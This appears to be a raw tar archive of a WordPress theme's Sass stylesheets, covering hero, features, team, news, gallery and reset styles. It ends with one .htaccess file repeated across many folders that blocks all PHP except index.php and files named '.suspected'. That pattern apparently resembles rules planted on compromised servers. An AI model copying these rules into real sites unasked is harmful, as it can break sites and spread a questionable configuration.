-webkit-transition: all 0s linear;
transition: all 0s linear;
}
.hero-large-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hero-small-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.btn {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hcl2-content {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
}
&.loaded {
.container {
.hero__content {
&:hover {
.hero-large-text, .hero-small-text, .btn, .hcl2-content {
-webkit-transition-duration: 0s;
transition-duration: 0s;
}
.hero-large-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hero-small-text {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.btn {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
.hcl2-content {
-webkit-transition-delay: 0s; /* Safari */
transition-delay: 0s;
}
}
.hero-large-text,
.hero-small-text,
.btn,
.hcl2-content {
visibility: visible;
opacity: 1;
-webkit-transform: translateY(0);
transform: translateY(0);
}
}
}
}
}
}
.hero-slideshow-normal {
.container {
padding: 10% 0px;
position: relative;
z-index: 80;
}
}
.hero-slideshow-fullscreen {
.container {
z-index: 80;
position: relative;
top: 50%;
transform: translateY(-50%);
}
}
.hero__content {
color: #FFF;
text-shadow: 0 2px 8px rgba(0, 0, 0, 0.15);
@include rem('font-size', 18px);
font-weight: 300;
h1, h2, h3, h4, h5, h6 {
color: #FFF;
letter-spacing: 2px;
text-transform: uppercase;
}
a.btn {
@include rem('margin', 10px 10px 20px 0px);
}
p {
@include rem('margin-bottom', 20px);
}
}
/* Hero Content Style 2. */
.hero-content-style2 {
h1 {
font-weight: 800;
@include rem('font-size', 50px);
letter-spacing: 3px;
}
.hcl2-content {
@include rem('padding', 50px 0px);
}
.hcl2-image {
text-align: right;
}
.hcl2-content, .hcl2-image {
@include media-breakpoint-down(lg) {
text-align: center;
}
}
}
/* Hero Text Style1. */
.hero-content-style1 {
text-align: center;
h2 {
color: #FFFFFF;
font-size: 35px;
letter-spacing: 2px;
line-height: 1.3;
text-shadow: 0 2px 8px rgba(0, 0, 0, 0.15);
font-weight: 800;
text-transform: uppercase;
@include for(small-screens) {
font-size: 60px;
letter-spacing: 3px;
}
@include for(medium-screens) {
font-size: 75px;
letter-spacing: 4px;
}
strong {
font-weight: 900;
}
}
p {
font-size: 14px;
font-style: italic;
letter-spacing: 0.4px;
text-shadow: 0 2px 8px rgba(0, 0, 0, 0.15);
color: #FFFFFF;
text-align: center;
font-weight: 100;
@include rem('margin-bottom', 30px);
@include for(medium-screens) {
font-size: 18px;
}
@include for(large-screens) {
font-size: 22px;
}
strong {
letter-spacing: -0.6px;
}
}
.btn {
@include media-breakpoint-down(sm) {
display: inline-block;
}
}
a, .btn {
&:active, &:focus {
outline: none;
}
}
}
#hero {
.btn {
box-shadow: none;
}
.btn-theme-primary:focus {
color: #fff;
}
}
.h-on-top.is-transparent {
#hero {
.container {
.hero__content {
margin-top: 75px;
}
}
}
}
/* Text Rotator */
.morphext > .animated {
display: inline-block;
}
/* Section: Features
------------------------------*/
.icon-background-default {
color: #03c4eb;
}
.feature-item {
text-align: center;
.feature-icon {
color: #fff;
}
.fa-5x {
font-size: 4em;
}
&:hover {
.icon-background-default {
color: #333333;
-webkit-transition: all 0.5s ease-in-out;
-moz-transition: all 0.5s ease-in-out;
-o-transition: all 0.5s ease-in-out;
transition: all 0.5s ease-in-out;
transform: scale(1.1);
-webkit-transform: scale(1.1);
-moz-transform: scale(1.1);
-ms-transform: scale(1.1);
transform: scale(1.1);
}
}
@include for(medium-screens) {
&.col-lg-3:nth-child(4n+1),
&.col-lg-4:nth-child(3n+1),
&.col-lg-6:nth-child(2n+1) {
clear: left;
}
}
}
.feature-media {
text-align: center;
margin-bottom: 20px;
}
/* Section: About Us
------------------------------*/
.section-about {
.about-image {
text-align: center;
}
.about-image img {
margin-bottom: 30px;
}
.section-title-area {
margin-bottom: 30px;
}
.row {
> div {
margin-top: 30px;
}
}
}
/* Section: Services
------------------------------*/
.section-services {
.service-item {
background: #FFFFFF;
padding: 30px;
margin-bottom: 30px;
position: relative;
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.08);
-moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.08);
-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.08);
transition: all 100ms ease-out 0s;
@include for(screens-small) {
padding: 20px;
}
&:after {
@include clearfix;
@include clearfix-after;
}
&:hover {
box-shadow: 0 6px 9px rgba(0, 0, 0, 0.09);
}
.service-image {
float: left;
margin-right: 30px;
img {
max-width: 120px;
height: auto;
}
i {
color: $primary;
}
@include for(screens-small) {
float: none;
margin-bottom: 30px;
margin-top: 10px;
margin-right: 0px;
text-align: center;
}
}
.service-thumbnail {
@include rem('margin-bottom', 25px);
}
.service-content {
overflow: hidden;
p {
margin: 0px;
font-size: 14px;
color: $text;
}
@include for(screens-small) {
text-align: center;
overflow: auto;
}
}
.service-title {
@include rem('margin-bottom', 10px);
color: #333333;
}
.service-link {
&:before {
width: 100%;
height: 100%;
display: block;
position: absolute;
top: 0px;
left: 0px;
content: "";
}
}
}
}
/* Section: Counter
------------------------------*/
.section-counter {
}
.counter_item {
text-align: center;
@include rem('margin-bottom', 35px);
.counter__number {
@include rem('font-size', 50px);
font-weight: 800;
color: $primary;
line-height: 1;
font-family: serif, sans-serif;
text-transform: uppercase;
}
.counter_title {
@include rem('font-size', 18px);
}
}
/* Section: Parallax
------------------------------*/
#parallax-hero {
position: relative;
background: none;
overflow: hidden;
.hero-slideshow-wrapper {
background: none;
}
.hero-slideshow-wrapper::after {
background: none;
}
}
.section-parallax, #parallax-hero {
background: none;
position: relative;
overflow: hidden;
> section, .onepage-section, .section-inverse {
background: none;
}
.parallax-bg {
&:before {
content: " ";
position: absolute;
top: 0px;
left: 0px;
right: 0px;
bottom: 0px;
background: rgba(0, 0, 0, .3);
display: block;
width: 100%;
height: 100%;
z-index: 2;
}
&:after {
}
img {
position: absolute;
left: 0;
bottom: 0;
min-width: 100%;
min-height: 100%;
width: auto;
height: auto;
max-width: 9999999px;
}
position: absolute;
top: 0px;
left: 0px;
width: 100%;
height: auto;
min-height: 100%;
display: block;
&.no-img {
height: 120%;
-webkit-background-size: cover;
-moz-background-size: cover;
background-size: cover;
background-repeat: no-repeat;
background-attachment: scroll;
background-attachment: scroll;
background-position: 50% 0;
}
-webkit-background-size: 100% auto;
-moz-background-size: 100% auto;
background-size: 100% auto;
background-repeat: no-repeat;
//background-attachment: scroll;
background-attachment: scroll;
background-position: 50% 50%;
}
}
.parallax_bg_overlay {
position: absolute;
width: 100%;
height: 100%;
left: 0;
top: 0;
z-index: 5;
opacity: 0.4;
}
.parallax-content {
z-index: 10;
position: relative;
padding: 100px 0px;
text-align: center;
h1, h2, h3, h4, h5, h6 {
color: #FFFFFF;
line-height: 1.5;
}
p, a {
color: #FFFFFF;
}
}
.body-mobile {
#parallax-hero, .section-parallax {
.parallax-bg {
//background-attachment: local;
//-webkit-background-size: none;
//-moz-background-size: none;
//-o-background-size: none;
}
}
}
/* Section: Team
------------------------------*/
.section-team {
.team-member {
padding: 0px 0.5px;
text-align: center;
}
.row {
margin-left: -0.5px;
margin-right: -0.5px;
}
}
.team-members.row {
@include rem('margin-left', 0px);
@include rem('margin-right', 0px);
@include for (medium-screens) {
&.team-layout-4 {
.team-member {
width: (100%/4);
}
.team-member:nth-child(4n+1) {
clear: left;
}
}
&.team-layout-3 {
.team-member {
width: (100%/3);
}
.team-member:nth-child(3n+1) {
clear: left;
}
}
&.team-layout-2 {
.team-member {
width: (100%/2);
}
.team-member:nth-child(2n+1) {
clear: left;
}
}
}
@include for(screens-medium) {
.team-member {
width: (100%/2);
}
.team-member:nth-child(2n+1) {
clear: left;
}
}
@include for(screens-small) {
.team-member {
width: (100%/2);
}
.team-member:nth-child(2n+1) {
clear: left;
}
}
@include for(screens-tiny) {
.team-member {
width: 100%;
}
}
}
.team-member {
margin-bottom: 20px;
float: left;
.member-thumb {
margin-bottom: 20px;
position: relative;
overflow: hidden;
&:hover {
.member-profile {
bottom: 8px;
transition: all 0.1s linear;
}
img {
opacity: 0.7;
transition: all 0.1s linear;
}
}
.member-profile {
position: absolute;
text-align: center;
bottom: -35px;
left: auto;
right: auto;
width: 100%;
a {
color: #000000;
.fa-inverse {
color: #ffffff;
}
&:hover {
color: $primary;
}
}
}
}
.member-info {
margin-top: 0px;
position: relative;
z-index: 30;
text-align: center;
}
.member-name {
letter-spacing: 2px;
margin-bottom: 15px;
position: relative;
&:after {
content: "";
display: block;
position: absolute;
left: 50%;
margin-left: -15%;
bottom: -11px;
width: 30%;
height: 1px;
background: #cccccc;
}
}
.member-position {
text-transform: uppercase;
font-size: 10px;
letter-spacing: 1.3px;
}
}
/* Section: News
------------------------------*/
.all-news {
text-align: center;
margin-top: 40px;
display: block;
}
.section-news, .archive, .blog {
.list-article {
border-top: 1px solid $border;
padding: 25px 0px;
&:last-of-type {
border-bottom: 1px solid $border;
}
}
.list-article-thumb {
float: left;
margin-right: 30px;
a img:hover {
opacity: 0.8;
}
@include for(screens-medium) {
display: none;
}
@include for(screens-small) {
width: 100%;
float: none;
margin-right: 0px;
margin-bottom: 30px;
display: block;
img {
width: 100%;
}
}
}
.list-article-content {
float: none;
overflow: hidden;
}
.list-article-meta {
font-size: 11px;
font-weight: bold;
text-transform: uppercase;
letter-spacing: 1.2px;
margin-bottom: 10px;
}
.entry-title {
font-size: 22px;
line-height: 1.5;
a:hover {
text-decoration: none;
}
}
.entry-excerpt p {
margin-bottom: 0px;
}
}
.archive .site-main .list-article:first-child,
.blog .site-main .list-article:first-of-type {
border-top: none;
padding-top: 0px;
}
.page-template-template-blog .section-news {
.list-article {
padding: 30px 0px;
&:first-of-type {
border-top: none;
padding-top: 0px;
}
&:last-of-type {
border-bottom: none;
}
}
}
.section-news.section-inverse {
.list-article {
border-top: 1px solid rgba(255, 255, 255, 0.2);
&:last-of-type {
border-bottom: 1px solid rgba(255, 255, 255, 0.2);
}
}
h1, h2, h3, h4, h5 {
a {
color: rgba(255, 255, 255, 0.8);
&:hover {
color: #FFF;
}
}
}
}
/* Section: Contact
------------------------------*/
.section-contact {
input, textarea {
width: 100%;
}
.address-contact {
margin-top: 5px;
margin-bottom: 15px;
span {
float: left;
color: #aaaaaa;
//margin-top: 7px;
//color: #aaaaaa;
}
.address-content {
display: block;
padding-left: 45px;
font-style: italic;
line-height: 2;
}
.fa-inverse {
font-size: 12px;
}
}
textarea {
max-height: 190px;
}
}
.wpcf7-form {
text-transform: uppercase;
font-size: 11px;
letter-spacing: 2px;
font-weight: 600;
br {
margin-bottom: 5px;
}
label {
width: 100%;
}
}
div.wpcf7-validation-errors {
margin: 20px 0px;
padding: 15px;
}
div.wpcf7-response-output {
margin: 20px 0px;
}
/* Section: Videolightbox
------------------------------*/
.section-videolightbox {
text-align: center;
.videolightbox__icon {
@include rem('margin-bottom', 40px);
}
.videolightbox__heading {
text-transform: uppercase;
@include rem('font-size', 38px);
letter-spacing: 0px;
font-weight: 500;
strong {
font-weight: 800;
}
}
.video_icon {
background: rgba(0, 0, 0, 0.2) none repeat scroll 0 0;
border: 4px solid #fff;
border-radius: 100px;
height: 50px;
line-height: 1;
padding: 10px;
width: 50px;
display: inline-block;;
i {
color: #fff;
font-size: 20px;
margin-left: 6px;
margin-top: 1px;
line-height: 1;
}
&:hover {
background: #FFFFFF;
i {
color: #000;
}
}
}
}
/* Section: Gallery
------------------------------*/
.gallery-grid .g-item {
padding: 10px;
float: left;
}
.all-gallery {
text-align: center;
margin-top: 40px;
display: block;
}
// Zoom effect
.g-zoom-in {
.g-item {
display: block;
overflow: hidden;
.inner-content {
display: block;
width: 100%;
height: 100%;
overflow: hidden;
}
img {
display: block;
overflow: hidden;
-webkit-transition: all 0.5s linear;
transition: all 0.5s linear;
}
&:hover {
img {
-ms-transform: scale(1.5, 1.5); /* IE 9 */
-webkit-transform: scale(1.5, 1.5); /* Safari */
transform: scale(1.5, 1.5);
}
}
}
}
.g-layout-full-width.container {
width: 100%;
max-width: none;
padding: 0px;
}
@include for(small-screens) {
@for $i from 1 through 6 {
.g-col-#{$i} {
.g-item {
width: (100% / $i);
&:nth-child(#{$i}n+1) {
clear: left;
}
}
}
}
}
@media screen and (min-width: $small_phone) and (max-width: $phone) {
@for $i from 1 through 6 {
.g-col-#{$i} {
.g-item {
width: (100% / $i);
&:nth-child(#{$i}n+1) {
clear: left;
}
}
}
}
}
@include for(screens-tiny) {
@for $i from 1 through 6 {
.g-col-#{$i} {
.g-item {
width: (100% / $i);
&:nth-child(#{$i}n+1) {
clear: left;
}
}
}
}
}
.gallery-justified {
width: 100%;
position: relative;
overflow: hidden;
img {
max-width: none;
position: absolute;
top: 50%;
left: 50%;
margin: 0;
padding: 0;
border: none;
}
}
.gallery-justified > a,
.gallery-justified > div {
position: absolute;
display: inline-block;
overflow: hidden;
float: left;
//filter: "alpha(opacity=10)";
//opacity: 0.1;
}
.gallery-masonry {
width: 100%;
position: relative;
display: block;
&:after {
@include clearfix-after();
}
.inner {
display: block;
}
}
_variables.scss 0000666 00000014477 15112302747 0007573 0 ustar 00 // main: style.scss
// SASS Variables and Mixins
// Variables
//--------------------------------------------------------
// Text colors
$text: #777777;
$heading: #333333;
// Active color
$primary: #03c4eb;
$secondary: #00aeef;
// Mics color
$border: #e9e9e9;
$meta: #f8f9f9;
// Fonts
$font_text: "Open Sans", Helvetica, Arial, sans-serif;
$font_heading: "Raleway",Helvetica,Arial,sans-serif;
$monaco: Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
// Screen resolutions
$small_phone: 576px;
$phone: 720px;
$table: 940px;
$small_desktop: 1140px;
//Grid
$width: 1230px;
$grid: 1110px;
$column: 40px;
$gutter: 50px;
$gutter2: 30px;
//Baseline
$base: 20px;
// Mixins
//--------------------------------------------------------
@mixin border-radius($radius: 2px) {
-webkit-border-radius: $radius;
-moz-border-radius: $radius;
border-radius: $radius;
}
// Mobile first responsive
@mixin for($media) {
@if $media == tiny-screens {
@media screen and (min-width: $small_phone) { @content; }
}
@else if $media ==screens-tiny {
@media screen and (max-width: $small_phone) { @content; }
}
@if $media == small-screens {
@media screen and (min-width: $phone) { @content; }
}
@else if $media ==screens-small {
@media screen and (max-width: $phone) { @content; }
}
@else if $media == medium-screens {
@media screen and (min-width: $table) { @content; }
}
@else if $media == screens-medium {
@media screen and (max-width: $table) { @content; }
}
@else if $media == large-screens {
@media screen and (min-width: $small_desktop) { @content; }
}
@else if $media == screens-large {
@media screen and (max-width: $small_desktop) { @content; }
}
}
// Center block
@mixin center-block {
display: block;
margin-left: auto;
margin-right: auto;
}
// Clearfix
@mixin clearfix() {
content: "";
display: table;
clear: both;
}
// Clear after (not all clearfix need this also)
@mixin clearfix-after() {
clear: both;
}
// Media breakpoint
// @mixin media-breakpoint-up($device) {
// @if $device == sm {
// @media (min-width: 34em) { @content; }
// }
// @if $device == md {
// @media (min-width: 48em) { @content; }
// }
// @if $device == lg {
// @media (min-width: 62em) { @content; }
// }
// @if $device == xl {
// @media (min-width: 75em) { @content; }
// }
// }
//
// @mixin media-breakpoint-down($device) {
// @if $device == sm {
// @media (max-width: 33.9em) { @content; }
// }
// @if $device == md {
// @media (max-width: 47.9em) { @content; }
// }
// @if $device == lg {
// @media (max-width: 61.9em) { @content; }
// }
// @if $device == xl {
// @media (max-width: 74.9em) { @content; }
// }
// }
// Use rem for better responsive
$baseline-px: 16px;
@mixin rem($property, $px-values) {
$baseline-rem: $baseline-px / 1rem;
#{$property}: $px-values;
@if type-of($px-values) == "number" {
#{$property}: $px-values / $baseline-rem; }
@else {
$rem-values: unquote("");
@each $value in $px-values {
@if $value == 0 {
$rem-values: append($rem-values, $value); }
@else {
$rem-values: append($rem-values, $value / $baseline-rem); } }
#{$property}: $rem-values; }
}
$grid-breakpoints: (
// Extra small screen / phone
xs: 0,
// Small screen / phone
sm: 544px,
// Medium screen / tablet
md: 768px,
// Large screen / desktop
lg: 992px,
// Extra large screen / wide desktop
xl: 1200px
) !default;
// Breakpoint viewport sizes and media queries.
//
// Breakpoints are defined as a map of (name: minimum width), order from small to large:
//
// (xs: 0, sm: 544px, md: 768px)
//
// The map defined in the `$grid-breakpoints` global variable is used as the `$breakpoints` argument by default.
// Name of the next breakpoint, or null for the last breakpoint.
//
// >> breakpoint-next(sm)
// md
// >> breakpoint-next(sm, (xs: 0, sm: 544px, md: 768px))
// md
// >> breakpoint-next(sm, $breakpoint-names: (xs sm md))
// md
@function breakpoint-next($name, $breakpoints: $grid-breakpoints, $breakpoint-names: map-keys($breakpoints)) {
$n: index($breakpoint-names, $name);
@return if($n < length($breakpoint-names), nth($breakpoint-names, $n + 1), null);
}
// Minimum breakpoint width. Null for the smallest (first) breakpoint.
//
// >> breakpoint-min(sm, (xs: 0, sm: 544px, md: 768px))
// 544px
@function breakpoint-min($name, $breakpoints: $grid-breakpoints) {
$min: map-get($breakpoints, $name);
@return if($min != 0, $min, null);
}
// Maximum breakpoint width. Null for the largest (last) breakpoint.
// The maximum value is calculated as the minimum of the next one less 0.1.
//
// >> breakpoint-max(sm, (xs: 0, sm: 544px, md: 768px))
// 767px
@function breakpoint-max($name, $breakpoints: $grid-breakpoints) {
$next: breakpoint-next($name, $breakpoints);
@return if($next, breakpoint-min($next, $breakpoints) - 1px, null);
}
// Media of at least the minimum breakpoint width. No query for the smallest breakpoint.
// Makes the @content apply to the given breakpoint and wider.
@mixin media-breakpoint-up($name, $breakpoints: $grid-breakpoints) {
$min: breakpoint-min($name, $breakpoints);
@if $min {
@media (min-width: $min) {
@content;
}
} @else {
@content;
}
}
// Media of at most the maximum breakpoint width. No query for the largest breakpoint.
// Makes the @content apply to the given breakpoint and narrower.
@mixin media-breakpoint-down($name, $breakpoints: $grid-breakpoints) {
$max: breakpoint-max($name, $breakpoints);
@if $max {
@media (max-width: $max) {
@content;
}
} @else {
@content;
}
}
// Media between the breakpoint's minimum and maximum widths.
// No minimum for the smallest breakpoint, and no maximum for the largest one.
// Makes the @content apply only to the given breakpoint, not viewports any wider or narrower.
@mixin media-breakpoint-only($name, $breakpoints: $grid-breakpoints) {
@include media-breakpoint-up($name, $breakpoints) {
@include media-breakpoint-down($name, $breakpoints) {
@content;
}
}
}
// Media that spans multiple breakpoint widths.
// Makes the @content apply between the min and max breakpoints
@mixin media-breakpoint-between($lower, $upper, $breakpoints: $grid-breakpoints) {
@include media-breakpoint-up($lower, $breakpoints) {
@include media-breakpoint-down($upper, $breakpoints) {
@content;
}
}
}
_reset.scss 0000666 00000011323 15112302747 0006730 0 ustar 00 // main: style.scss
// normalize.css : https://github.com/necolas/normalize.css
//--------------------------------------------------------------
// Prevent iOS text size adjust after orientation change, without disabling user zoom.
html {
-ms-text-size-adjust: 100%;
-webkit-text-size-adjust: 100%;
}
body {
line-height: 1;
margin: 0;
padding: 0;
}
// Correct `block` display not defined for any HTML5 element in IE 8/9.
// Correct `block` display not defined for `details` or `summary` in IE 10/11 and Firefox.
// Correct `block` display not defined for `main` in IE 11.
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
nav,
section,
summary {
display: block;
}
// Permalink
a:focus {
outline: none;
}
a:active,
a:hover {
outline: 0;
}
a img {
border: 0;
}
// 1. Correct `inline-block` display not defined in IE 8/9.
// 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
audio,
canvas,
progress,
video {
display: inline-block; //1
vertical-align: baseline; //2
}
// Prevent modern browsers from displaying `audio` without controls.
// Remove excess height in iOS 5 devices.
audio:not([controls]) {
display: none;
height: 0;
}
// Address `[hidden]` styling not present in IE 8/9/10.
// Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
[hidden],
template {
display: none;
}
// Text-level semantics
//--------------------------------------------------------------
abbr[title] {
border-bottom: 1px dotted;
}
// Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
b,
strong {
font-weight: bold;
}
// Address styling not present in Safari and Chrome.
dfn {
font-style: italic;
}
// Address inconsistent and variable font size in all browsers.
small {
font-size: 80%;
}
// Prevent `sub` and `sup` affecting `line-height` in all browsers.
sub,
sup {
font-size: 75%;
height: 0;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sup {
bottom: 1ex;
}
sub {
top: .5ex;
}
// Embedded content
//--------------------------------------------------------------
img {
border: 0;
-ms-interpolation-mode: bicubic;
}
// Grouping content
//--------------------------------------------------------------
pre {
overflow: auto;
}
// Form
//--------------------------------------------------------------
button,
input,
optgroup,
select,
textarea {
color: inherit;
font: inherit;
margin: 0;
}
// Address `overflow` set to `hidden` in IE 8/9/10/11.
button {
overflow: visible;
}
button,
select {
text-transform: none;
}
// 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio` and `video` controls.
// 2. Correct inability to style clickable `input` types in iOS.
// 3. Improve usability and consistency of cursor style between image-type * `input` and others.
button,
html input[type="button"], // 1
input[type="reset"],
input[type="submit"] {
-webkit-appearance: button; // 2
cursor: pointer; // 3
}
// Appearance in Safari/Chrome
input[type="search"] {
-webkit-appearance: textfield;
-webkit-box-sizing: content-box;
-moz-box-sizing: content-box;
box-sizing: content-box;
}
// Inner-padding issues in Chrome OSX, Safari 5
input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
// Re-set default cursor for disabled elements.
button[disabled],
html input[disabled] {
cursor: default;
}
// Remove inner padding and border in Firefox 4+.
button::-moz-focus-inner,
input::-moz-focus-inner {
border: 0;
padding: 0;
}
// FF3/4 have !important on line-height in UA stylesheet
// Inner spacing ie IE6/7
button,
input {
line-height: normal;
*overflow: visible;
}
input[type="checkbox"],
input[type="radio"] {
padding: 0;
}
// Apply a natural box layout model to all elements; see http://www.paulirish.com/2012/box-sizing-border-box-ftw/
*,
*:before,
*:after {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
legend {
border: 0;
padding: 0;
}
textarea {
overflow: auto;
}
optgroup {
font-weight: bold;
}
// Table
//--------------------------------------------------------------
table {
border-collapse: collapse;
border-spacing: 0;
}
td,
th {
padding: 0;
}
.clearfix:after {
content: ".";
display: block;
height: 0;
clear: both;
visibility: hidden;
}
.clearfix {
display: inline-block;
}
.clearfix {
display: block;
}
.clear {
zoom: 1;
&:before,
&:after {
display: table;
content: "";
}
&:after {
clear: both;
}
}
.break {
word-break: break-word;
word-wrap: break-word;
}
.none {
display: none;
}
_elements.scss 0000666 00000003533 15112302747 0007426 0 ustar 00 // main: style.scss
/* Button
------------------------------*/
.btn {
text-transform: uppercase;
@include border-radius(2px);
box-shadow: 0 -1px 0 0 rgba(0, 0, 0, 0.1) inset;
@include rem('font-size', 13px);
font-weight: 600;
&:active, &:focus {
outline: none;
}
&.btn-secondary-outline {
box-shadow: none;
border-color: rgba(255, 255, 255, 0.9);
color: rgba(255, 255, 255, 0.9);
&:hover {
background: #FFF;
color: #333;
}
}
}
.btn-lg {
@include rem('font-size', 17px);
}
.btn-theme-primary {
background: $primary;
color: #FFFFFF;
&:hover {
color: #FFFFFF;
}
}
.btn-theme-primary-outline {
background-color: transparent;
background-image: none;
border-color: $primary;
color: $primary;
&:hover {
color: #FFF;
background-color: $primary;
border-color: $primary;
}
}
/* Loading
------------------------------*/
.slider-spinner {
width: 40px;
height: 40px;
position: relative;
margin: 100px auto;
}
.double-bounce1, .double-bounce2 {
width: 100%;
height: 100%;
border-radius: 50%;
background-color: #fff;
opacity: 0.6;
position: absolute;
top: 0;
left: 0;
-webkit-animation: sk-bounce 2.0s infinite ease-in-out;
animation: sk-bounce 2.0s infinite ease-in-out;
}
.double-bounce2 {
-webkit-animation-delay: -1.0s;
animation-delay: -1.0s;
}
@-webkit-keyframes sk-bounce {
0%, 100% { -webkit-transform: scale(0.0) }
50% { -webkit-transform: scale(1.0) }
}
@keyframes sk-bounce {
0%, 100% {
transform: scale(0.0);
-webkit-transform: scale(0.0);
} 50% {
transform: scale(1.0);
-webkit-transform: scale(1.0);
}
}
/* WP 4.7 Shortcut */
section > .customize-partial-edit-shortcut {
z-index: 95;
button {
left: 30px;
}
}
_bully.scss 0000666 00000004624 15112302747 0006743 0 ustar 00 /**
* JQuery Bullly
* @see https://github.com/pixelgrade/rellax/blob/gh-pages/assets/css/bully.css
*/
[class*="c-bully"],
[class*="c-bully"]:before,
[class*="c-bully"]:after {
box-sizing: border-box;
}
$bully_size: 16px;
$bully_size_s: 9px;
.c-bully {
position: fixed;
top: 50%;
right: 28px;
@include for(screens-medium) {
right: 0px;
}
font-size: 12px;
transform: translate(0, -50%);
z-index: 600;
color: #333;
text-transform: uppercase;
&.c-bully--inversed {
color: #fff;
}
&.c-bully-hide-on-mobile {
@include for(screens-medium) {
display: none;
}
}
}
.onepress-menu-mobile-opening {
.c-bully {
z-index: 10;
}
}
.c-bully__ {
&bullet {
padding: $bully_size / 2;
@include for(screens-medium) {
padding: ( $bully_size / 2 ) 3px;
}
opacity: 0;
cursor: pointer;
position: relative;
&:hover {
.c-bully__title {
opacity: 1;
transform: scale(1);
}
}
}
&title {
position: absolute;
right: 26px;
top: 1px;
left: auto;
background: rgba(0, 0, 0, 0.7);
padding: 1px 10px;
border-radius: 2px;
transition: all 0.2s ease-out;
display: block;
opacity: 0;
white-space: nowrap;
color: rgba(255, 255, 255, 0.8);
transform: scale(0.6);
}
}
.c-bully__bullet:after {
content: "";
display: block;
width: 12px;
height: 12px;
@include for(screens-medium) {
width: $bully_size_s;
height: $bully_size_s;
}
border: 2px solid currentColor;
border-radius: 50%;
will-change: transform;
}
.c-bully__bullet--active {
position: absolute;
top: 0;
left: 0;
transition: top 0.2s ease-out;
}
.c-bully__bullet--active:before {
content: "";
width: 12px;
height: 12px;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
@include for(screens-medium) {
width: $bully_size_s;
height: $bully_size_s;
}
font-size: 14px;
background: currentColor;
border-radius: 50%;
}
.c-bully__bullet--active:after {
border-color: transparent;
}
.c-bully__bullet--pop {
animation: bully-pop 0.6s cubic-bezier(0.485, 1.63, 0.43, 2) forwards,
fade-in 0.2s 0.2s ease-out forwards;
}
.c-bully__bullet--squash {
opacity: 1;
animation: bully-squash 0.2s ease-out forwards;
}
@keyframes fade-in {
0% {
opacity: 0;
}
100% {
opacity: 1;
}
}
@keyframes bully-pop {
50% {
transform: scale(0.7);
}
100% {
transform: scale(1);
}
}
@keyframes bully-squash {
50% {
transform: scale(0.6, 1.8);
}
100% {
transform: scale(1);
}
}
.htaccess 0000666 00000000424 15113115160 0006340 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> forms/.htaccess 0000666 00000000424 15113115160 0007466 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> site/secondary/.htaccess 0000666 00000000424 15113115160 0011273 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> site/.htaccess 0000666 00000000424 15113115160 0007304 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> site/primary/.htaccess 0000666 00000000424 15113115160 0010767 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> site/footer/.htaccess 0000666 00000000424 15113115160 0010602 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> site/header/.htaccess 0000666 00000000424 15113115160 0010534 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
Deny from all
</FilesMatch>
</IfModule> mixins/.htaccess 0000666 00000000424 15113115160 0007647 0 ustar 00 <IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
